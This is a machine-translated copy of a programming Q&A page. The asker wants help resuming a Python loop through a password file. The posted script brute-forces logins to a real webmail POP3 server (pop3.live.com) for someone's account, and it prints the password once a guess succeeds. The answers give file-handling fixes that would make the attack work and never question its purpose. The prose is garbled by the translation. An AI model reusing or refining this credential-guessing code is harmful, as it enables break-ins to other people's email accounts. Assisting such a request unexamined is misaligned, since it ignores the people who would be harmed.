2010-07-24 5 views
0

как читать текстовый файл и остановки затем продолжить в последней строке чтенияКак перечитать в последнем пункте! питон

example: 
Joe 
LOley 
Hana fat 
oh beef come one 

пример = текстовый файл и последней строки я прочитал это Hana жир так, как я могу продолжать? так:

#!/usr/bin/python 
#this script name is x.py don't forget that 
import os 
f= open("Str1k3r.txt", "r") 
for pwd in f.readlines(): 
    con(pwd.replace("\r", "").replace("\n", "")) 
os.system('x.py') 

x.py = файл сценария, когда я запустить его снова, он по-прежнему в последней строке он прочитал! \\\\ Почему мне это нужно? Потому что мой скрипт пытается подключить pop3.live.com и попытаться войти в систему с таким количеством паролей из txt-файла , и единственный способ пройти - это запустить скрипт снова и снова но с другой строкой txt-файла , так как мы можем это сделать? этот мой код .. так как это сделать? , потому что мой скрипт пытается подключить pop3.live.com и попытаться войти в систему с таким количеством паролей из txt-файла , и единственный способ пройти - запустить сценарий снова и снова, но с другой строкой txt-файла

, что мой код

import poplib 
    def con(pwd): 
    M = poplib.POP3_SSL('pop3.live.com', 995) 
    try: 
     M.user("[email protected]") 
     M.rset(M.pass_(pwd)) 
    except: 
     print "[-]password incorrect" 
    else: 
     print '[+]really Password is:', pwd 
     exit() 

f = open("Str1k3r.txt", "r") 
for pwd in f.readlines(): 
+0

Кстати, какую версию Python вы используете? Если файл находится под 20 Мб, вы можете безопасно его прочитать в памяти сначала - тогда работать с ним проще. Вы можете пересечь его с помощью 'для lineNum, строка в перечислении (строки):'. Индекс lineNum даст вам возможность просмотреть последнюю посещенную строку. Поскольку вы делаете это в Python, я предполагаю, что скорость не так важна ... –

+2

Это очень странный способ работы. Возможно, вам будет проще дать хороший ответ, если вы объясните, почему вы хотите это сделать. –

+0

lem объясните это полностью объясните – str1k3r

ответ

0

вы можете попробовать использовать искать(), скажите() и т.д. ... Смотрите documents для более.

0
f= open("Str1k3r.txt", "r") 
for line in f: 
    print line 
    break 

for line in f: 
    print line # Continues with line 2 as f knows where it stopped 
    break  # It's actually using file.next() 
0

Каждый раз, когда вы выполняете 'x.py', вы снова открываете файл - в начале. Это то, что делает «открытое».

Если вы хотите продолжить чтение, вы, вероятно, захотите, чтобы файл был прочитан из известного файлового дескриптора - возможно, стандартного ввода - чтобы вы не перезагружали его. Тем не менее, вам, возможно, придется беспокоиться о буферизованных вводах-выводах. Первый процесс может прочитать буфер, полный файла, и обрабатывать только часть данных в буфере; второй процесс продолжится там, где закончится ввод-вывод, а не где программа закончена.

Кроме того, поскольку вы используете os.system(), вы постепенно наращиваете набор процессов, которые не прекращаются, все ждут своего следующего ребенка, чтобы умереть. Исследуйте варианты «exec».

Смежные вопросы